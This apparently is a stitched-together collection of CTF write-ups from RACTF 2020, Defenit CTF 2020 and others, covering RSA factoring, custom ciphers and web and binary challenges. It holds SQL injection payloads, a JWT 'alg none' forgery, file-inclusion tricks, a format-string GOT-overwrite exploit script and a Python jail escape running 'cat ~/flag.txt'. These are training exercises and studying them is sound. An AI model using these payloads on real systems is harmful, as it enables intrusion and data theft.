> One of the first versions of the S1 Protocol had a faulty encryption protocol. We captured the communication between two important ButcherCorp leaders and now it's up to you know what they were planning. Although it's an old communcation, the information there can still be useful to the Rebelious Fingers.
#### Observation
Vulnerable prime generation algorithm for RSA is given. I can find out lsbs and msbs of RSA prime `p` and `q`. Each primes can be divided by three bit chunks, each having length of `sizes = [rand, half, size - half - rand]`. The middle chunk having `half` length is the only difference between `p` and `q`.
##### Leak MSBs
`p` and `q` are almost identical. I experimentally checked the similarity of MSBs of how much public modulus `N`'s square root `base_` and `p`s. Bit length of identical MSBs can be guessed in `rand = random.randint(8, half - 1)`. By this method, I leak MSBs of `p` with length `rand`.
##### Leak LSBs
The third bit chunk having length of `size - half - rand` can be also derived, since `p` and `q` share same last chunk. I used z3 for obtaining LSBs. z3 gave me two solutions.
```pythonidx = 500 # tweakpbase = z3.BitVec('pbase', idx)S = z3.Solver()mask = int((1 << idx) - 1)
S.add((pbase * pbase) & mask == N & mask)# Ask z3 to find other candidateS.add(pbase != int(0b1000110100001000000111000101000000101010100100100010100110111011111100111000000011101011011011101111010110101100010001000001011101110111100010110001100100100101100110011100110111101000010100000001000110101001011111111110111110101101110111001110100101001000011101011011111011111101000000010111101111011110010010000110001000001000110110011110011111000001010001100110001100100110110000000110110000111000101011011111100111011100111010011110101011111000111001100010011100010010101111101101111000101010001))issat = S.check()assert issat == z3.satans = S.model()pbase_ = Integer(str(ans[pbase]))```
#### Coppersmith's attack and profit
Length of known consecutive bits(MSBs and LSBs) can be derived as below.
```pythonhalf = random.randint(16, size // 2 - 8) # 16 to 504known = 0known += rand # MSBsknown += size - half - rand # LSBsassert len(known) == size - half```
The minimum length of exposed bits are larger than half of `p`'s bit length(always longer than `1024 - 503`). Therefore Coppersmith attack is always feasible. The only problem is that I do not exactly know the value of `half` and `size`. Guess these values!
```pythondef factor(): F.<x> = PolynomialRing(Zmod(N)) while True: half = random.randint(16, 1024 // 2 - 8) rand = random.randint(8, half - 1) if not DEBUG: rand, half = 203, 443 # Is Coppersmith Attack feasible? assert 1024 - half >= 1024 // 2 # Yes it is! print(f'[*] rand: {rand}, half: {half}') a = 1024 - rand base = base_ >> a pbase = pbase_ & ((1 << (1024 - rand - half)) - 1) f = (base << a) + pbase + x * (1 << (1024 - rand - half)) f = f.monic() x0 = f.small_roots(X=(2 ** half), beta=0.44, epsilon=1/32) for xs in x0: pcand = (base << a) + pbase + xs * (1 << (1024 - rand - half)) pcand = Integer(pcand) if N % pcand == 0: print(f'[+] p = {pcand}') return pcand```
Factors known, get the flag!
```CTF-BR{w3_n33d_more_resources_for_th3_0mni_pr0j3ct}```
Original problem source: [enc.py](enc.py), [output.txt](output.txt)
Exploit code: [solve.sage](solve.sage) with [config.py](config.py) |
# Baiting
If we log in with the credentials from Entrypoint, we can see a list of users.
One of these is called `"loginToGetFlag"`, so we'll try to log into this one.
We get a SQL error if we put a ' so we can try SQL Injection payloads.
We can use the payload:
`loginToGetFlag' -- `
to log into this user - and we get the flag.
#### Flag: ractf{injectingSQLLikeNobody'sBusiness} |
# Insert Witty Name
Same concept as Entrypoint, but a different file.
We are told that it is running on a Python server,
so we can try to include common python web app filenames, such as `app.py` and `main.py`.
If we use the same method as Entrypoint and go to `/static?f=main.py`, and we get the flag.
#### Flag: ractf{d3velopersM4keM1stake5} |
# A Flash of Inspiration
From the previous challenge, we know that this file is a compiled binary for the Arduino.
We are given a .bin file but we need to convert it to an Intel Hex file so it can be flashed to the Arduino.
There are various tools to do this, such as Bin2Hex.py, which is linked.
After converting flash.bin, to flash.hex, I flashed it onto my Arduino Uno with:
```"C:\Program Files (x86)\Arduino\hardware\tools\avr/bin/avrdude" -C "C:\Program Files (x86)\Arduino\hardware\tools\avr/etc/avrdude.conf" -v -patmega328p -carduino -PCOM3 -b115200 -D -Uflash:w:C:\Path\To\flash.hex:i```
I got this command from uploading a sketch to the Arduino with the software.
Once flashed, I checked the Serial Monitor in the Arduino software, but it was only outputting invalid characters.
I thought that the baudrate could be the problem, so I tried turning it down.
There were less invalid characters as I went further down and at 19200, I got the flag:
#### Flag: ractf{DidYouDoAnalysis?} |
# Admin Attack
This is the same principle as Baiting. This time we need to log into the admin user.
From the list of users we found with the devloper credentials, `jimmyTehAdmin` is the account we need to log in to.
We can use a similar payload to before (this challenge is more resitant to SQLMap)
```' OR username='jimmyTehAdmin' -- ```
#### Flag: ractf{!!!4dm1n4buse!!!} |
# Really Awesome CTF 2020
Fri, 05 June 2020, 19:00 CEST — Tue, 09 June 2020, 19:00 CEST
Write-ups of Web challenges
# Web
## C0llide```A target service is asking for two bits of information that have the same "custom hash", but can't be identical.Looks like we're going to have to generate a collision?```
The service source code is:``` javascript[...]const app = express()app.use(bodyParser.json())
const port = 3000const flag = ???const secret_key = ???[...]app.post('/getflag', (req, res) => { if (!req.body) return res.send("400") let one = req.body.one let two = req.body.two if (!one || !two) return res.send("400") if ((one.length !== two.length) || (one === two)) return res.send("Strings are either too different or not different enough") one = customhash.hash(secret_key + one) two = customhash.hash(secret_key + two) if (one == two) return res.send(flag) else return res.send(`${one} did not match ${two}!`)})
app.listen(port, () => console.log(`Listening on port ${port}`))```
To connect to this challenge, we use `curl`:
``` bash> curl -H "Content-Type: application/json" -d '{"one":"abc","two":"xyz"}' -X POST http://88.198.219.20:60254/getflag8c8811e4d989cb695491dd9f75f72df6 did not match df86fa719ecb791ad0ce93e93d616378!```
To solve this challenge, we request:``` bash> curl -H "Content-Type: application/json" -d '{"one":[],"two":[]}' -X POST http://88.198.219.20:60254/getflagractf{Y0u_R_ab0uT_2_h4Ck_t1Me__4re_u_sur3?}```
Why it work ?
`req.body.one` and `req.body.two` exist
`one` and `two` have the same size because both are empty array (`0`)
And `one` and `two` don't have the same value because there are two different objects (see Object-oriented programming)
However, an empty array casted in string return nothing, so `secret_key + one` and `secret_key + two` are same and therefore the same for their hash
The flag is `ractf{Y0u_R_ab0uT_2_h4Ck_t1Me__4re_u_sur3?}`
## Quarantine - Hidden information```We think there's a file they don't want people to see hidden somewhere! See if you can find it, it's gotta be on their webapp somewhere...```
There is a hidden file which not supposed seen
The only files which are not supposed to be seen are listed in the `Disallow` fields in robots.txt file
And, there is a file `robots.txt````User-Agent: *Disallow: /admin-stash```
The disallowed file is admin-stash and in it, we can see the flag: `ractf{1m_n0t_4_r0b0T}`
## Quarantine```See if you can get access to an account on the webapp.```
At the website, we have a basic login form with username and password
When we logged with `'` as username and an empty password, the website return an Internal Server Error, so there is a SQL vulnerability
With `' OR 1=1 --`, the website return `Attempting to login as more than one user!??` because we try to log in as all users in the same time
Then, with `' OR 1=1 LIMIT 1 --`, we logged in as the first user in the database
The flag is finally shown when we have access to an account: `ractf{Y0u_B3tt3r_N0t_h4v3_us3d_sqlm4p}`
## Getting admin```See if you can get an admin account.```
On the same website, we should open the admin page, but we are redirected to home page because we haven't the admin privilege
We have un cookie `auth` with value `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU`
It looks like a JWT fomat (https://jwt.io/introduction/)
The first part is the header encode in base64: `{"typ":"JWT","alg":"HS256"}`
The second part is the data encode in base64: `{"user": "Harry", "privilege": 1}`
And the last one is the signature which is unreadable
In the data section, the `privilege` field is interested to upgrade the Harry's account as admin but we can't regenerate the signature
However, it is possible to change the encryption algorithm from `HS256` to `none` and remove the signature section and verification
So we can change the cookie by `{"typ":"JWT","alg":"none"}{"user": "Harry", "privilege": 1}` `(eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.)` and it work !
Finaly, we change the `privilege` by `2`, `{"typ":"JWT","alg":"none"}{"user": "Harry", "privilege": 2}` `(eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDJ9.)`
Refresh and we can open the admin page and read the flag: `ractf{j4va5cr1pt_w3b_t0ken}`
## Finding server information```See if you can find the source, we think it's called app.py```
On the same website, we can play 3 different videos with urls:
```http://url/watch/HMHT.mp4http://url/watch/TIOK.mp4http://url/watch/TCYI.mp4```
The page watch seems has a rule which transform `http://url/watch/movie.mp4` in `http://url/watch?path=movie.mp4`
We can try if a Local File Inclusion is possible with `http://url/watch/app.py`
Bingo, in source code of the page we can read:
``` html<video controls src="data:video/mp4;base64,ractf{qu3ry5tr1ng_m4n1pul4ti0n}"></video>```
The flag is: `ractf{qu3ry5tr1ng_m4n1pul4ti0n}`
## Insert witty name```Having access to the site's source would be really useful, but we don't know how we could get it.All we know is that the site runs python.```
In the source of page `http://url`, we can read:``` html<link rel="stylesheet" href="/static?f=index.css">```
There seems to have a Local File Inclusion, the page `http://url/static?` without file argument return an error page:```TypeError
TypeError: expected str, bytes or os.PathLike object, not NoneTypeTraceback (most recent call last)
[...]
File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1936, in dispatch_request return self.view_functions[rule.endpoint](**req.view_args)File "/srv/raro/main.py", line 214, in css return send_from_directory("static", name)File "/usr/local/lib/python3.8/site-packages/flask/helpers.py", line 760, in send_from_directory filename = fspath(filename)[...]```
All traceback are refered to file of python libraries expect one, refered to `/srv/raro/main.py` which seem be a source file of the website
The page `http://url/static?f=main.py` return:``` pythonfrom application import mainimport sys
# ractf{d3velopersM4keM1stake5}
if __name__ == "__main__": main(*sys.argv)```
The flag is: `ractf{d3velopersM4keM1stake5}`
## Entrypoint```Sadly it looks like there wasn't much to see in the python source.We suspect we may be able to login to the site using backup credentials, but we're not sure where they might be.Encase the password you find in ractf{...} to get the flag.```
In source of the page `http://url`, we can read:``` html
```
But the file` http://url/backup.txt` unexist
However, there is a `robots.txt` file:```User-Agent: *Disallow: /adminDisallow: /wp-adminDisallow: /admin.phpDisallow: /static```
And in `static` directory, there is the file `backup.txt` (`http://url/static/backup.txt`):```develop developerBackupCode4321
Make sure to log out after using!
TODO: Setup a new password manager for this```
The flag is: `ractf{developerBackupCode4321}`
## Baiting```That user list had a user called loginToGetFlag. Well, what are you waiting for?```
We have to log in with unername `loginToGetFlag` but we can't guess the password, so we must try SQL injection
With `'` as username, the website return an error page:``` pythonTraceback (most recent call last): File "/srv/raro/main.py", line 130, in index cur.execute("SELECT algo FROM users WHERE username='{}'".format(sqlite3.OperationalError: unrecognized token: "'''"```
Here the SQL query is `SELECT algo FROM users WHERE username=''' [...]` and crash because an `'` isn't closed
With `loginToGetFlag' --` as username, the query is `SELECT algo FROM users WHERE username='loginToGetFlag' -- ' [...]`
It select the user `loginToGetFlag` and ignore the end of the query after `--`
Finally, we are logged as `loginToGetFlag` and we can read the flag: `ractf{injectingSQLLikeNobody'sBusiness}`
## Admin Attack```Looks like we managed to get a list of users.That admin user looks particularly interesting, but we don't have their password.Try and attack the login form and see if you can get anything.```
Like the **Baiting** challenge, we still use the SQL injection but we can't use the same method
With `' OR 1=1 LIMIT 1 --` as username, we are logged as the first user (`xxslayer420`) in table `users`
With `' OR 1=1 LIMIT 1,1 --` as username, we are logged as the second user which is `jimmyTehAdmin` and the flag `ractf{!!!4dm1n4buse!!!}` is show
The table `users` seems to look like:
id | username | role---|----------|-------0 | xxslayer420 | user1 | jimmyTehAdmin | admin2 | loginToGetFlag | user (show flag of **Baiting** chall)3 | pwnboy | user4 | 3ht0n43br3m4g | user5 | pupperMaster | user6 | h4tj18_8055m4n | user7 | develop | developer (show flag of **Entrypoint** chall)
The flag is: `ractf{!!!4dm1n4buse!!!}`
## Xtremely Memorable Listing```We've been asked to test a web application, and we suspect there's a file they used to provide to search engines, but we can't remember what it used to be called.Can you have a look and see what you can find?```
The title of the challenge let think that an XML file is hidden somewhere...
Search engines can read the robots.txt file, and after search a documentation about it (https://moz.com/learn/seo/robotstxt), we can learn the existence of the `Sitemap` rule which requiered an XML file.
The default path of the sitemap file is `http://url/sitemap.xml`, and this file exist on the website:``` XML
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>https://fake.site/</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url> </urlset> ```
We can go check the backup sitemap at `http://url/sitemap.xml.bak`:``` XML
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>https://fake.site/</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url> <url> <loc>https://fake.site/_journal.txt</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url></urlset>```
And then `http://url/_journal.txt`:```[...]Dear diary,Today some strange men turned up at my door. They startedshouting at me and one of them pul- ractf{4l13n1nv4s1on?}[...]```
The flag is: `ractf{4l13n1nv4s1on?}` |
# Simple SPN (crypto, 766p, 6 solved)
In the task we get access to a service running a custom [substitution-permutation network encryption](https://raw.githubusercontent.com/TFNS/writeups/master/2020-06-05-DefenitCTF/spn/SPN.py).We can send as many payloads we want to the server and the server will return encrypted ciphertext.Our goal is to recover the last XOR key applied to the ciphertext.
## Analysis
We have SPN cipher with 8-bytes blocks and 4 rounds and only ECB mode.We don't care about the mode, because we will work only with single blocks.
The encryption is:
```pythonba_block = self.bytes_to_bitarray(block, self.BLOCK_SIZE*8)
for _round in range(self.ROUNDS-1): ba_block = self.keyXor(ba_block, self.keys[_round]) ba_block = self.substitute(ba_block) ba_block = self.permutation(ba_block)#last round is not permutedba_block = self.keyXor(ba_block, self.keys[self.ROUNDS-1])ba_block = self.substitute(ba_block)
ba_block = self.keyXor(ba_block, last_XOR_key)out += '%016x' % b2l(self.bitarray_to_bytes(ba_block, 8))```
Substitution is just a static sbox and so is the permutation.Round keys are some randoms generated from static seed we don't know.
### Square property
General approach would be to examine how input bits are moved around through the rounds, however we made an educated guess that low rounds number and setup of the task might hint at existence of square property there.
Let's modify the encryption function a bit, and remove:```pythonba_block = self.substitute(ba_block)ba_block = self.keyXor(ba_block, last_XOR_key)```
Now if we run our sanity check:
```pythondef pad(pt, pad_char): missing = 8 - len(pt) return pad_char * missing + pt
def sanity2(): spn = SPN() ct = [spn.enc3(pad("\0", "A").encode("hex"))] for i in range(1, 256): ct.append(spn.enc_modified(pad(long_to_bytes(i), "A").encode("hex"))) ct = [[ord(c) for c in x.decode("hex")] for x in ct] for pos in range(8): res = 0 for c in range(256): res ^= ct[c][pos] assert res == 0```
This assertion holds!
The idea is that if we encrypt 256 plaintexts, which all differ only on a single byte, then given byte position in the output ciphertexsts will loop over every possible value.
## Solution
Once we established we have the square property, it becomes pretty clear what we can do here:
1. Generate set of ciphertexsts prepared as mentioned above2. Select some byte position `k`3. Test every possible value of `k-th` byte in `last_XOR_key`4. deXOR the `k-th` byte in every ciphertext we have with the guessed xor byte5. Invert the `ba_block = self.substitute(ba_block)`6. XOR all bytes we got and check if the sum is 0, if it is, then we might have guessed the `last_XOR_key` byte correctly, and we save this value as candidate
You can think of this as basically trying to invert:```pythonba_block = self.substitute(ba_block)ba_block = self.keyXor(ba_block, last_XOR_key)```
so that we arrive at the moment where the square property should hold. We can do that because the property holds for each byte, so we don't need to guess whole `last_XOR_key`, we can work on single byte at a time:
```pythoninvsbox = []for i in range(256): invsbox.append(sbox.index(i))
def integrate(index, ciphertexts): potential = set() for candidateByte in range(256): sum = 0 for ct in ciphertexts: t = ct[index] ^ candidateByte # invert xor s = invsbox[t] # invert sbox sum ^= s if sum == 0: potential.add(candidateByte) print("Potential bytes on position %d are %s" % (index, str(potential))) return potential
def integral(ciphertexts): candidates = [] for i in range(8): candidates.append(integrate(i, ciphertexts)) print('candidates', candidates) return candidates```
Now there is one last issue - there may be multiple candidates for a single byte!We have no way of discriminating which candidates are valid and which are not.
Fortunately we are not limited to a single dataset.We can create different plaintext sets (eg. padding with different char) and generate candidates for each set.The trick is that each of those candidate sets has to contain the `real` value we're looking for, but the rest are just random false-positives.We can, therefore, gets a few candiate sets, and the intersect them.If we have enough inputs, we should be able to get back a single value present in all sets.
We do that with:
```pythondef worker(pad_char): port = 5959 host = "simple-spn.ctf.defenit.kr" s = nc(host, port) x = receive_until(s, "\n") x = receive_until(s, "\n") ct = [] payloads = [pad("\0", pad_char).encode("hex")] for i in range(1, 256): payloads.append(pad(long_to_bytes(i), pad_char).encode("hex")) for payload in payloads: send(s, payload) c = receive_until(s, "\n") ct.append(re.findall("ciphertext: (.*)\n", c)[0]) x = receive_until(s, "\n") print('cts', ct) ct = [[ord(c) for c in x.decode("hex")] for x in ct] candidates = integral(ct) return candidates
def main(): candidates = [set(range(256)) for _ in range(8)] data = ['A', 'B', 'C', 'D', 'E', 'F'] results = brute(worker, data_list=data, processes=6) print('results', results) for dataset in results: for byte in range(8): candidates[byte] = candidates[byte].intersection(dataset[byte]) print(candidates) print("".join([chr(list(x)[0]) for x in candidates]).encode("hex"))```
We run 6 processess in paralell, each with different padding byte, and then combine candiates and we get back: `dc0ea570d1ffe120` so the flag is `Defenit{dc0ea570d1ffe120}`
Complete solver [here](https://raw.githubusercontent.com/TFNS/writeups/master/2020-06-05-DefenitCTF/spn/solver.py) |
# WebFugu Writeup>A new site listing the different species of fugu fish has appeared on the net. Used by many researchers, it is nevertheless vulnerable. Find the vulnerability and exploit it to recover some of the website configuration.>Creator: Masterfox
*Writeup by: @R4H33M*
Going to the website shows us a very fancy list of different types of [fugu](https://en.wikipedia.org/wiki/Fugu), also known as pufferfish.
Always, with web challenges, begin by checking the client-side html source. If you are on Chrome, simply right click and press "View page source". We notice something at the bottom of the source:
<script src="/js/script.js"></script>
This script goes like this:
async function populateList() { let b64ListContent = "PGRpdj4gPHRhYmxlIGJvcmRlcj0iMSI%2BIDx0cj4gPHRoPk5hbWU8L3RoPiA8dGg%2BRGlzY292ZXJ5IHllYXI8L3RoPiA8dGg%2BRGlzY292ZXJlciBuYW1lPC90aD4gPC90cj4gPHRyIHRoOmVhY2ggPSJmaXNoIDogJHtmaXNoZXN9Ij4gPHRkIHRoOnV0ZXh0PSIke2Zpc2gubmFtZX0iPi4uLjwvdGQ%2BIDx0ZCB0aDp1dGV4dD0iJHtmaXNoLmRpc2NvdmVyeVllYXJ9Ij4uLi48L3RkPiA8dGQgdGg6dXRleHQ9IiR7ZmlzaC5kaXNjb3ZlcmVyTmFtZX0iPi4uLjwvdGQ%2BIDwvdHI%2BIDwvdGFibGU%2BIDwvZGl2PiAgICAgIAo="; let renderURL = "/process"; let listContent = await fetch(location.origin + renderURL + "?page=" + b64ListContent).then(res => res.text()); fishList.innerHTML = listContent; }
document.addEventListener('DOMContentLoaded', function() { var popup = M.Modal.init(addFish); }); populateList();
It seems that the list of pufferfish is retrieved through a GET request to "/process", with the parameter "page=". What is filled into this parameter is base64 encoded. How do we know this? 2 reasons: it ends with an enter sign (=) and the variable name is "**b64**ListContent". When I tried to decode it, I got a sliver of something interesting, but the rest of gibberish. What I didn't know was that base64 only uses 64 characters... (shocking, right?). These are A-Z, a-z, 0-9, "+" and "/" (additionally "=" for padding).
As you see, the base64 string we are given also includes the sign "%". hmmmm. Taking into account that the string is appended onto a web address, we recogize that this is simply a [url encoding](https://www.w3schools.com/tags/ref_urlencode.ASP). The "%2F" corresponds to "/" and "%2B" corresponds to "+". Substituting these, and base 64 decoding the string, we get:
<div> <table border="1"> <tr> <th>Name</th> <th>Discovery year</th> <th>Discoverer name</th> </tr> <tr th:each ="fish : ${fishes}"> <td th:utext="${fish.name}">...</td> <td th:utext="${fish.discoveryYear}">...</td> <td th:utext="${fish.discovererName}">...</td> </tr> </table> </div Fishy! (pun intended) This looks very much like html. But there is something wrong... what is "th:each" and "th:utext"?
Searching them up, we get [thymeleaf](https://www.thymeleaf.org/), a server side Java template engine. Thymeleaf takes templates like the above and serves the information we want, like the fishes and their attributes. Let's see, is the flag a variable? Let's try encoding the following HTML in base 64, and send that as the "page=" parameter instead:
<p th:utext="${flag}">
We get "Flag [content=REDACTED_IT_WONT_BE_THAT_EASY]".
I ended up getting stuck for a few hours after this, but eventually I saw the similarity between the message we got and a (Java) hashmap. Trying this out:
We get **shkCTF{w31rd_fishes_6ee9f7aabf6689c6684ad9fd9ffbae5a}**
And that's it! Thanks for reading! :) |
# RACTF 2020
## Not Really AI (binary)
### Description
> Exploit the service to get the flag.>> [nra]
200 points
### Solution Summary
Exploit format string vulnerability[1](https://medium.com/swlh/binary-exploitation-format-string-vulnerabilities-70edd501c5be)to overwrite GOT [2](https://ropemporium.com/guide.html#Appendix%20A) andredirect code execution so that _flaggy_ function is executed.
### Walkthrough
The binary is a 32bits file with no protection.
```$ pwn checksec nra Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments```
The program read some user data but there isn't buffer overflow.
```$ ./nra How are you finding RACTF?bla <= READ DATAI am glad youbla <= PRINT IT
We hope you keep going!```
However it prints the input data in an insecurely way leading to format stringattack.
```printf@plt ( [sp + 0x0] = 0xffffd210 → "my input data\n", [sp + 0x4] = 0x00000200)```
And there is a call to _puts_ after that, so you can replace the address of_puts_ in GOT by the address of _flaggy_ function. This way _flaggy_ will beexecuted when program calls _puts_.
```=> 0x08049225 <+99>: call 0x8049030 <printf@plt> 0x0804922a <+104>: add esp,0x10 0x0804922d <+107>: sub esp,0xc 0x08049230 <+110>: lea eax,[ebx-0x1fcf] 0x08049236 <+116>: push eax 0x08049237 <+117>: call 0x8049060 <puts@plt>
```
You can get the address of _flaggy_ function and GOT entries using GDB:
```gef➤ b * maingef➤ run[...]gef➤ print flaggy$3 = {<text variable, no debug info>} 0x8049245 <flaggy>[...]gef➤ got
GOT protection: Partial RelRO | GOT functions: 8 [...][0x804c018] puts@GLIBC_2.0 → 0x8049066[...]
```
### Exploit
First of all you have to find the offset in stack to the string you provide asinput data. Using `AAAA%N$x` as input data, where `N` is number that will beincremented in a loop. When program prints `41414141` (`AAAA` in hex) you findthe right position.
```pythonfrom pwn import *
context.log_level = 'error'
for i in range(10): sh = process('./nra') sh.readline() sh.sendline(f'AAAA%{i}$x') sh.readline() print(f'%{i}$x', sh.readline().decode()[4:], end='')```
Looking at the output you find `41414141` when `N` is `4`. So you can refer tothe first four bytes using `4$` in format string.
```%0$x %0$x%1$x 200%2$x f7f2b5c0%3$x 80491d1%4$x 41414141%5$x 78243525%6$x a2e5000a%7$x f7fa5198%8$x 0%9$x f7f923ec```
Now you can use the memory address of where you want to write as first fourbytes followed by a format string who will write the address of _flaggy_function.
I start with the follow payload, but the program output is so long that it onlyworks locally. Connection to the CTF server is droped before flag is printed.
```pythonpayload = p32(0x0804c018) # elf.got['puts']payload += b'aaaaa%134517308d%4$n' # %4$n writes 0x08049245 (address of flaggy function)```
By using length modifier, you are able to control the amount of data written bythe `%n` formatter, so you can write a byte, two-bytes, four-bytes and so on. I decide to write two-bytes (halt address) in `0x0804c018` and two-bytes (theother halt) in `0x0804c018 + 2`, this way the program output is smaller and Iget the flag.
```pythonpayload = p32(0x0804c018) # elf.got['puts']payload += p32(0x0804c01a) # elf.got['puts'] + 2payload += b'%2044d%5$hn' # writes 0x0804payload += b'%35393d%4$hn' # writes 0x9245```
The final exploit was:
```pythonfrom pwn import *
payload = p32(0x0804c018) # elf.got['puts']payload += p32(0x0804c01a) # elf.got['puts'] + 2payload += b'%2044d%5$hn' # writes 0x0804payload += b'%35393d%4$hn' # writes 0x9245
#sh = process('./nra')sh = remote('88.198.219.20', 62051)sh.readline()sh.sendline(payload)sh.stream()``` |
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Most of the logic doesn't matter in the end. The only thing that matters is the following two facts:
1. The flag is encrypted using `key2`2. After every call to `encrypt()`, the value of `key2` is updated to be the resulting ciphertext
After spending some time reading the code these two points became apparent, and then it was simply a matter of getting the encrypted flag twice in a row and using the first encrypted flag as the key to decrypt the second one. Most of the time ended up being implementing a decrypt, as you can see in the following code:
See link for details. |
# [Original writeup here ](https://ohaithe.re/post/620649441275297792/ractf-puffer-overflow)
This can be solved without writing any Python bytecode: just think of it as a eval jail, where you also have to make sure you use the right constants and names in the right order. Functioning code:
```def f(): chr ord globals locals getattr setattr chr(1)+chr(2)+chr(3)+chr(4)+chr(5)+chr(6)+chr(7)+chr(8)+chr(9)+chr(10)+chr(11)+chr(12)+chr(13)+chr(14)+chr(15)+chr(16)+chr(17)+chr(18)+chr(19)+chr(20)+chr(21)+chr(22)+chr(23)+chr(24)+chr(25)+chr(26)+chr(27)+chr(28)+chr(29)+chr(30)+chr(31)+chr(32)+chr(33)+chr(34)+chr(35)+chr(36)+chr(37)+chr(38)+chr(39)+chr(40)+chr(41)+chr(42)+chr(43)+chr(44)+chr(45)+chr(46)+chr(47)+chr(48)+chr(49)+chr(50)+chr(51)+chr(52)+chr(53)+chr(54)+chr(55)+chr(56)+chr(57)+chr(58)+chr(59)+chr(60)+chr(61)+chr(62)+chr(63)+chr(64)+chr(65)+chr(66)+chr(67)+chr(68)+chr(69)+chr(70)+chr(71)+chr(72)+chr(73)+chr(74)+chr(75)+chr(76)+chr(77)+chr(78)+chr(79)+chr(80)+chr(81)+chr(82)+chr(83)+chr(84)+chr(85)+chr(86)+chr(87)+chr(88)+chr(89)+chr(90)+chr(91)+chr(92)+chr(93)+chr(94)+chr(95)+chr(96)+chr(97)+chr(98)+chr(99)+chr(100)+chr(101)+chr(102)+chr(103)+chr(104)+chr(105)+chr(106)+chr(107)+chr(108)+chr(109)+chr(110)+chr(111)+chr(112)+chr(113)+chr(114)+chr(115)+chr(116)+chr(117)+chr(118)+chr(119)+chr(120)+chr(121)+chr(122)+chr(123)+chr(124)+chr(125)+chr(126)+chr(127)+chr(128)+chr(129)+chr(130)+chr(131)+chr(132)+chr(133)+chr(134)+chr(135)+chr(136)+chr(137)+chr(138)+chr(139)+chr(140)+chr(141)+chr(142)+chr(143)+chr(144)+chr(145)+chr(146)+chr(147)+chr(148)+chr(149)+chr(150)+chr(151)+chr(152)+chr(153)+chr(154)+chr(155)+chr(156)+chr(157)+chr(158)+chr(159)+chr(160)+chr(161)+chr(162)+chr(163)+chr(164)+chr(165)+chr(166)+chr(167)+chr(168)+chr(169)+chr(170)+chr(171)+chr(172)+chr(173)+chr(174)+chr(175)+chr(176)+chr(177)+chr(178)+chr(179)+chr(180)+chr(181)+chr(182)+chr(183)+chr(184)+chr(185)+chr(186)+chr(187)+chr(188)+chr(189)+chr(190)+chr(191)+chr(192)+chr(193)+chr(194)+chr(195)+chr(196)+chr(197)+chr(198)+chr(199)+chr(200)+chr(201)+chr(202)+chr(203)+chr(204)+chr(205)+chr(206)+chr(207)+chr(208)+chr(209)+chr(210)+chr(211)+chr(212)+chr(213)+chr(214)+chr(215)+chr(216)+chr(217)+chr(218)+chr(219)+chr(220)+chr(221)+chr(222)+chr(223)+chr(224)+chr(225)+chr(226)+chr(227)+chr(228)+chr(229)+chr(230)+chr(231)+chr(232)+chr(233)+chr(234)+chr(235)+chr(236)+chr(237)+chr(238)+chr(239)+chr(240)+chr(241)+chr(242)+chr(243)+chr(244)+chr(245)+chr(246)+chr(247)+chr(248)+chr(249)+chr(250)+chr(251)+chr(252)+chr(253)+chr(254)+chr(255) return getattr(getattr(globals()[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)](chr(111)+chr(115)),chr(112)+chr(111)+chr(112)+chr(101)+chr(110))(chr(99)+chr(97)+chr(116)+chr(32)+chr(126)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))()
cc = bytearray(f.__code__.co_code)cc[97] = 11with open("puffer_pay.bin","wb") as fl: fl.write(b"a"*32 + cc + b"\n")```
Details on the construction of this code are available above. |
**English Version (Small Report)**
https://github.com/Neptunians/defenit-ctf/blob/master/2020/tar-analyzer/README.md
**Portuguese Version (Article Version)**
https://medium.com/@neptunian.hacker/defenit-ctf-2020-write-up-tar-analyzer-web-hacking-29ed5be3f5f4 |
The strategy is to recursively test each bit for a match to flag{, and if a match is found, iterate over all 8 possible directions (north, north-east, east, etc..) and test for the next bit.
```from PIL import Image
img = Image.open("BinaryWordSearch.png")data = img.convert('1').load()
size_x, size_y = img.size
HEAD = "flag{"head_ar = "".join([f'{ord(c):08b}' for c in HEAD])
# offsets to iterate over certain direction"""7 0 16 25 4 3"""direction_map = ( (0, -1), (1, -1), (1, 0), (1, 1), (0, 1), (-1, 1), (-1, 0), (-1, -1))
def test(x, y, offset, head_index): # checks if data[x, y] == head_ar[head_index] # returns False if no match, # otherwise, advance x, y by offset and test the next bit if head_index == (len(head_ar) - 1): return True if (data[x, y] == 255 and head_ar[head_index] == '1') or (data[x, y] == 0 and head_ar[head_index] == '0'): new_x = x + offset[0] new_y = y + offset[1]
# if exceed image bounds, dont bother if new_x < 0 or new_x >= size_x or new_y < 0 or new_y >= size_y: return False return test(new_x, new_y, offset, head_index + 1) else: return False
def find(): for x in range(size_x): for y in range(size_y): for d in range(8): if test(x, y, offset=direction_map[d], head_index=0): return (x, y, d)
x, y, d = find()
offset = direction_map[d]
flag = []for _ in range(20 * 8): c_raw = 0 for i in range(8): if data[x, y] == 255: c_raw += 1<<(7-i) x += offset[0] y += offset[1] c = chr(c_raw) flag.append(c) if c == '}': break
print("".join(flag))``` |
# Entrypoint
We can see in HTML comments of the web page: ```
```However we get a 403 Forbidden if we try to access this file with `/backup.txt`
We can see that the CSS file is included with `href="/static?f=index.css"`
So if we go to `/static?f=backup.txt`, we get the credentials for the develop user.
#### Flag: ractf{developerBackupCode4321} |
### Problem Statement:
You killed that last one. Ready to take it to the next level?
We’re given a wav file and nothing else to go on
### Approach:
